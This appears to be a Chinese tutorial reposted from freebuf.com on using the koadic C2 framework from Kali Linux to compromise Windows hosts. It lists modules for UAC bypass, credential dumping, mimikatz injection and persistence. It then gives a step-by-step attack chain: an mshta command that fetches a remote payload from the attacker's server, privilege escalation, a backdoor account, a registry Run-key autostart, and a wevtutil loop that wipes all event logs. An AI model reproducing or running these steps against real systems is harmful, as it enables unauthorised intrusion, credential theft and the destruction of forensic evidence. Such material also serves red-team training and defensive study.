kali linux系统使用koadic作为命令与控制(C2)服务器 – 作者:regitnew

一、简介

koadic是一个windows平台的后渗透rootkit框架。它与meterpreter和empire类似,主要的区别是koadic的操作主要使用Windows Script Host(JScript/VBScript),这样koadic可以兼容windows 2000到windows 10范围内的系统(windows 2000不需要service pack)。

二、操作步骤

(一)安装koadic

apt update  //更新软件清单

apt install koadic  //kali 2020中可以在线安装,但是kali 2021的安装源已删除了kodiac

可参考下面网址进行安装:

https://github.com/zerosum0x0/koadic

(二)koadic相关的概念

koadic  //运行

1616308553_6056e94981c73a24cc017.png!small?1616308644964

1、 可用的命令

api  //关闭/打开REST API

clear  //清屏

cmdshell  //通过命令行与僵尸进行交互

createstager  //为当前模块创建一个stager

creds  //显示收集到的凭据信息

domain  //显示收集到的域信息

edit  //进入文本编辑器,编辑当前模块的代码

exit  //退出程序

help  //显示一个命令的帮助信息

info  //显示当前模块的选项

jobs  //显示job相关的信息

kill  //通过ID杀死僵尸

listeners  //显示关于stager的信息

load  //重新加载所有的模块

pabst  //PBR Friday

paddy  //It’s paddy, not patty

previous  //返回到使用过的上一个模块

pyexec  //evals some python

repeatjobs  //显示正在反复执行的job的信息

run  //运行当前模块

set  //为当前模块设置变量

sounds  //关闭/打开声音, sound(0|1)

spool  //将输出写入文件

taco  //taco time

unset  //为当前模块清除一个变量的值

use  //切换到其它模块

valentine  //Love is in the wire

verbose  //关闭/打开详情,verbose (0|1)

zombies  //列出已入侵的目标

2、 可用的模块

add_user

bitsadmin

bypassuac_compdefaults

bypassuac_compmgmtlauncher

bypassuac_eventvwr

bypassuac_fodhelper

bypassuac_sdclt

bypassuac_slui

bypassuac_systempropertiesadvanced

bypassuac_wsreset

clipboard

comsvcs_lsass

disk

download_file

enable_rdesktop

enum_domain_info

enum_printers

enum_shares

enum_users

exec_cmd

exec_psexec

exec_wmi

exec_wmic

hashdump_dc

hashdump_sam

implant/

killav

loot_finder

mimikatz_dotnet2js

mimikatz_tashlib

mshta

multi_module

office_key

password_box

reflectdll_excel

registry

regsvr

rundll32_js

schtasks

shellcode_dotnet2js

shellcode_dynwrapx

shellcode_excel

stage_wmi

stager/

system_createservice

tcp

thunderstruck

upload_file

user_hunter

voice

windows_key

wmi

wmic

可以看到,stager和implant是目录,其它都是单独的模块。其实,这些单独的模块在stager和implants目录中都能找到,单独列出来是为了便于操作。

3、 stager的概念

Stagers 用于“勾住(hook)”目标主机,使攻击者能够使用implants。

模块

描述

stager/js/mshta

使用MSHTA.exe HTMP应用程序,在内存中提供攻击载荷

stager/js/regsvr

使用regsvr3.exe COM+脚本,在内存中提供攻击载荷

stager/js/rundll32_js

使用rundll32.exe,在内存中提供攻击载荷

stager/js/disk

使用磁盘上的文件,提供攻击载荷

stager/js/wmic

使用WMIC,在内存中提供攻击载荷

stager/js/bitsadmin

在Bitsadmin作业中传输一个包含JS的.wsf攻击载荷并执行。

4、 implants的概念

目标主机被“勾住(hook)”后成为zombie,implants用于在zombie上执行任务。

模块

描述

implant/elevate/bypassuac_compdefaults

Bypass UAC via registry hijack for ComputerDefaults.exe.

implant/elevate/bypassuac_compmgmtlauncher

Bypass UAC via registry hijack for CompMgmtLauncher.exe.

implant/elevate/bypassuac_eventvwr

Uses enigma0x3’s eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10.

implant/elevate/bypassuac_fodhelper

Bypass UAC via registry hijack for fodhelper.exe.

implant/elevate/bypassuac_sdclt

Uses enigma0x3’s sdclt.exe exploit to bypass UAC on Windows 10.

implant/elevate/bypassuac_slui

Bypass UAC via registry hijack for slui.exe.

implant/elevate/system_createservice

通过SC.exe,将administrator会话提升到system会话。

implant/fun/zombie

将音量开到最大,并在隐蔽窗口中打开The Cranberries的某tube视频。

implant/fun/voice

使用text-to-speech播放一条消息。

implant/gather/clipboard

获取用户剪贴板中的内容。

implant/gather/comsvcs_lsass

使用comsvcs.dll创建LSASS的MiniDump,用pypykatz进行解析。

implant/gather/enum_domain_info

获取windows域的信息。

implant/gather/hashdump_dc

NTDS.dit文件中的域控制器hash。

implant/gather/hashdump_sam

从SAM中获取口令hash。

implant/gather/loot_finder

查找目标上的战利品。

implant/gather/user_hunter

使用Dynamic Wrapper X定位登陆到域控制器的用户。

implant/inject/mimikatz_dotnet2js

注入反射加载的DLL,运行powerkatz.dll。(@tirannido DotNetToJS).

implant/inject/mimikatz_dynwrapx

使用Dynamic Wrapper X,注入反射加载的DLL,运行powerkatz.dll。

implant/inject/mimikatz_tashlib

使用TashLib COM对象,执行任意shellcode。(Work in Progress!)

implant/inject/shellcode_dotnet2js

使用DotNet2JS技术执行任意shellcode。通过createremotethread 将shellcode作为新的线程注入到主机进程中。

implant/inject/shellcode_dynwrapx

使用动态的Wrapper X COM对象执行任意shellcode。

implant/inject/shellcode_excel

如果目标系统安装了execl,则可运行任意shellcode。

implant/manage/enable_rdesktop

启用目标系统的远程桌面。

implant/manage/exec_cmd

在目标系统中运行任意命令,并可选择是否接收输出信息。

implant/persist/add_user

添加本地账户或域账户。

implant/persist/registry

在注册表中添加Koadic stager攻击载荷。

implant/persist/schtasks

通过计划任务实现持久化。

implant/persist/wmi

通过WMI订阅实现持久化。

implant/phish/password_box

欺骗用户输入口令。

implant/pivot/exec_psexec

使用sysinternals中的psexec在其它机器上运行命令。

implant/pivot/exec_wmi

使用WMI在其它机器上执行命令。

implant/pivot/stage_wmi

使用WMI在其它机器上“勾住”一个僵尸。

implant/scan/tcp

使用HTTP扫描目标主机所在局域网的开放端口。

implant/util/download_file

从目标主机下载文件。

implant/util/multi_module

顺序执行多个implants。

implant/util/upload_file

从正在监听的服务器上传文件到目标主机。

(三)kodiac的使用案例

1、 使用stager/js/mshta模块获取zombie

stager/js/mshta模块是首次执行koadic时的默认模块,由于这个stager使用的是windows内置的mshta,是最安全的,因此可以先使用这个模块获取远程主机的控制权。

info  //查看有哪些参数需要设置

1616308640_6056e9a03445bdfec60d5.png!small?1616308731659

可以看到,默认情况下已经设置好了所有的参数,直接运行即可。

run  //运行

在被攻击主机上按照提示执行:

mshta http://192.168.43.234:9999/cXPJX

之后控制端就会获取zombie:

1616308648_6056e9a87cd50c87181fb.png!small?1616308739955

使用zombies命令查看受控端:

1616308656_6056e9b095d2658337031.png!small?1616308748044

可以看到,当前只有一个zombie,IP地址为192.168.43.108。注意STATUS字段的值,zombie下线之后,其信息仍然可以看到,但是STATUS为DEAD。

使用zombies ID或zombies IP,都可以查看特定zombie的信息。

zombies 0

1616308664_6056e9b8b95e5820cc97d.png!small?1616308756234

zombies 192.168.43.108

1616308675_6056e9c3b653aede19dfc.png!small?1616308767191

2、 权限提升

use implant/elevate/bypassuac_compmgmtlauncher

info  //查看需要设置的变量

1616308685_6056e9cd2c235641b5a4b.png!small?1616308776607

run  //运行模块代码

1616308700_6056e9dce7def73cce97e.png!small?1616308792426

得到了zombie 1。

zombies 1  //查看详情

1616308712_6056e9e863d18984564cd.png!small?1616308803849

可以看到,Elevated:YES,说明提权成功了,zombie 1是提权后的会话。

3、 添加后门账户

use add_user  //切换到add_user模块

info  //查看需要设置的变量

set username hack

set password hack

1616308749_6056ea0d08f9acf8d575f.png!small?1616308840718

cmdshell 1  //使用cmdshell命令,进入zombie 1的命令行

net user  //查看账户信息

1616308757_6056ea15a4ddab87b775d.png!small?1616308849111

可以看到hack用户,说明前面的提权和添加用户都是成功的。

4、 设置后门程序自启动

use implant/persist/registry

info  //查看需要设置的变量

1616308770_6056ea227b94fe5ccf4b9.png!small?1616308861912

set payload 0  //payload设置为0即可

run

1616308775_6056ea27903e734f6023c.png!small?1616308867032

显示注册表项添加成功。

在zombie上查看,可以看到在HKCU\Software\Microsoft\Windows\CurrentVersion\Run中存在名为K0adic的字符串值。

重启zombie主机,zombie关机后会显示zombie的STATUS为dead,但是随着zombie开机,会重新获取zombie,ID为2。

1616308789_6056ea350d4b26699dc9c.png!small?1616308880439

说明自启动的payload成功执行了。

5、 清除事件日志

对于刚刚我们的操作,可以运行“for /F “tokens=*” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl “%1″”命令,使用“implant/manage/exec_cmd”模块来清除所有事件日志。命令如下:

use implant/manage/exec_cmd

info

set zombie 3

set CMD for /F “tokens=*” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl “%1”

run

1616308800_6056ea40ce78764c3e20b.png!small?1616308892219

这个模块没有输出,只能到zombie主机上查看效果。在zombie主机的“事件查看器—windows日志—系统”中可以看到,在执行implant/manage/exec_cmd的那个时间发生了日志清除事件,清除了RemoteDesktopServices-RemoteDesktopSessionManager/Admin日志、system日志和powershell日志。说明模块执行成功。

来源:freebuf.com 2021-03-21 14:55:42 by: regitnew

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论